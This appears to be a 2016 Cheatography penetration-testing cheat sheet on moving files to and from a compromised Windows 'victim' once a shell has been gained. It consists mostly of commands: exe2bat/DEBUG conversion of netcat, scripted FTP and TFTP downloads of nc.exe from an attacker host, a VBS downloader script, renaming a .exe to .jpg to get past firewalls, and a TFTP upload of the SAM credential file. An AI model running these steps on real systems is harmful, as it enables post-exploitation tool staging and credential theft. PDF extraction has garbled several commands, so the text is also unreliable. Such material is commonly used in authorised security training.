Cheatography

File Transfers Cheat Sheet

by fred via cheatography.com/22666/cs/9067/

Info

Check Transfer Progress

http://www.cyberciti.biz/open--source/command-line-hacks/pv-command-examples/

DEBUG.exe

Note: Uploaded file cannot be larger than 64-bytes. UPX can be used to compress files.

```
locate exe2ba t.exe
wine exe2ba t.exe
upx -9 nc.exe (to compress nc.exe)
ls -l nc.exe (should now be smaller)
wine exe2ba t.exe /root/ nc.com.txt
xt (convert nc.exe to nc.txt)
cat nc.txt | more (should be a hex dump)
```

Near the end of nc.txt, exe2bat tells the debugger on the windows victim to create an exe. Gain your shell using your usual exploit then copy and paste the contents of nc.txt into the remote shell. If it fails, re-run any failed commands manually. nc.exe will now be created on the victim machine.

Python

Victim

```
python -m Simple HTT PServ
er
```

Attacker

Browse to victim from attacking machine for a directory listing

Netcat

```
nc -lvp 12345 | tar -xf - (on receiver)
tar -cf - filena me.txt | nc -vv 10.1.1.14 12345
(on sender)
```

Note: You will have no indication of file progress. Just wait a period of time then CTRL+C

http://www.g-loaded.eu/2006/11/06/netcat-for-windows-released/

FTP - Windows

Connect to an ftp server on port 80

```
ftp
open x.x.x.x 80
```

Connect using commands in config.txt

```
ftp -n -v -s:con fig.txt 10.2.10.1
#
user uid1234 (username)
uid1234 (password)
quit
```

FTP Upload

Outbound FTP is usually allowed in companies.

Kali

```
pure-pw useradd hacker -u ftpuser -d /ftphome/
(create user hacker)
pure-pw mkdb
cp /pente st/ win dow s/n c.exe /ftphome
/etc/i nit.d/ pur e-ftpd start
ftp 127.0.0.1 (test login)
ls (nc.exe should appear)
bye
```

FTP Upload (cont)

Victim (Windows)

After getting a shell:

```
echo open 192.16 8.34.10 > ftp.txt
(commands to be run in the next step)
echo myftp>> ftp.txt (no space between username and append command)
echo myftp>> ftp.txt
echo bin >> ftp.txt
echo get nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt (-s run commands in ftp.txt)
```

FTP - Pure-FTPD

```
/etc/i nit.d/ pur e-ftpd st
art (start ftp server)
netstat -antp (confirm server on port 21)
/etc/i nit.d/ pur e-ftpd st
op (stop ftp server)
ls -l /ftphome (home ftp directory created by ftpd)
cp nc.exe /ftphome (copy netcat to ftphome)
ftp 127.0.0.1 (login ftp to server)
ls (netcat should appear)
bin (switch to binary for file transfer)
get nc.exe (confirm file transfer works)
bye
file nc.exe (confirm file properties are intact)
```

Internet Explorer

Can be good for bypassing Firewal

```
mv nc.exe to nc.jpg (exe files
/abil ity -linux (gain your r
cd prog*
cd internet*
start iexplo re.exe http:/
Navigate to the temporary
 files)
copy nc.jpg c:\
cd\
rename nc.jpg nc.exe
nc.exe (nc should be funct
```

down.vbs

```
'Barabas pure vbs downloader -
tested on XP sp2
'Microsoft fixed adodbstream but
guess what :)
'(c)dec 2004
'First argument = complete url to
download
'Second Argument = filename
you want to save
'thnks to http://www.ericphe-
lps.com/scripting/samples/Bina-
ryDownload/
'
'v2 - now includes proxy support
for the winhttp request stuff
```

Cheatography

File Transfers Cheat Sheet

by fred via cheatography.com/22666/cs/9067/

down.vbs (cont)

```
strUrl = WScript.Arguments.I-
tem(0)
StrFile = WScript.Arguments.I-
tem(1)
'WinHttpRequest proxy settings.
Const HTTPREQUEST_PRO-
XYSETTING_
DEFAULT = 0
Const HTTPREQUEST_PRO-
XYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PRO-
XYSETTING_DIRECT = 1
```

VBS Download (with down.vbs)

`cat down.vbs` (confirm contents)

```
sed 's/^echo /' downlo ad- vbs cript
sed 's/^echo /' downlo ad- vbs cript | sed 's/S/ >> down.vbs/' | grep -v 'echo >> down.dbs
sed 's/^echo /' downlo ad- vbs cript | sed 's/S/ >> down.vbs/' | grep -v 'echo >> down.dbs
'
```

(remove echo on blank lines)

```
/etc/i nit.d/ apache2 start
cp nc.exe /var/www/
```

After getting a shell on your Victim:

Copy and paste the text output of the final sed command above and hit enter to create down.vbs.

`cscript down.vbs http:/ /19 2.1 68.8 .1 73/ nc.exe nc2.exe` (to run down.vbs, which will download nc.exe to nc2.exe)

VBS Download (with down.vbs) (cont)

`nc.exe` (check if file is functional)

TFTP Server

Kali

```
apt-get install atftpd
atftpd --daemon --port 69 /tmp
```

(start in daemon mode on port 69, home directory /tmp)

```
atftpd --daemon --port 1234 /tmp
```

(start in daemon mode on port 1234, home directory /tmp)

`netstat -anup | grep atftp` (should be listening on port 69 udp)

Downloading in Linux

```
tftp 127. 0.0.1
get nc.exe
quit
ls -l nc.exe
file nc.exe
```

Kill Server

```
ps -ef | grep atftp
kill -9 16084
```

(first column number)

`netstat -anup | grep 69` (confirm server has been killed)

TFTP

Note: Most corporate firewalls will block outbound traffic rendering TFTP unusable. TFTP might not be on Windows machines. Files transferred will usually be read only. Change attrib of file to delete using attrib -r filename.

TFTP (cont)

Download from Attacker

Kali

```
atftpd --daemon --port 69 /tmp
/usr/s har e/w ind ows -bi nar ies /nc.
exe /tmp
chmod 777 /tmp/n c.exe
```

Windows

Initiate your remote shell to the Windows PC using your exploit:

`./abil ity -li nux.py` (ability exploit, served, shell started)

`cd`

`tftp -i 192.16 8.23.10 GET nc.exe` (on Windows Victim, IP = Kali)

Upload to Attacker

`tftp -i 192.16 8.8.172 PUT sam`

sam should now appear in /tmp of the Kali machine

Download in Windows

`tftp get 2.3.5.1 :/ lanscan` (get the file lanscan from TFTP server 2.3.5.1)

By **fred**

cheatography.com/fred/

Published 9th September, 2016.

Last updated 9th September, 2016.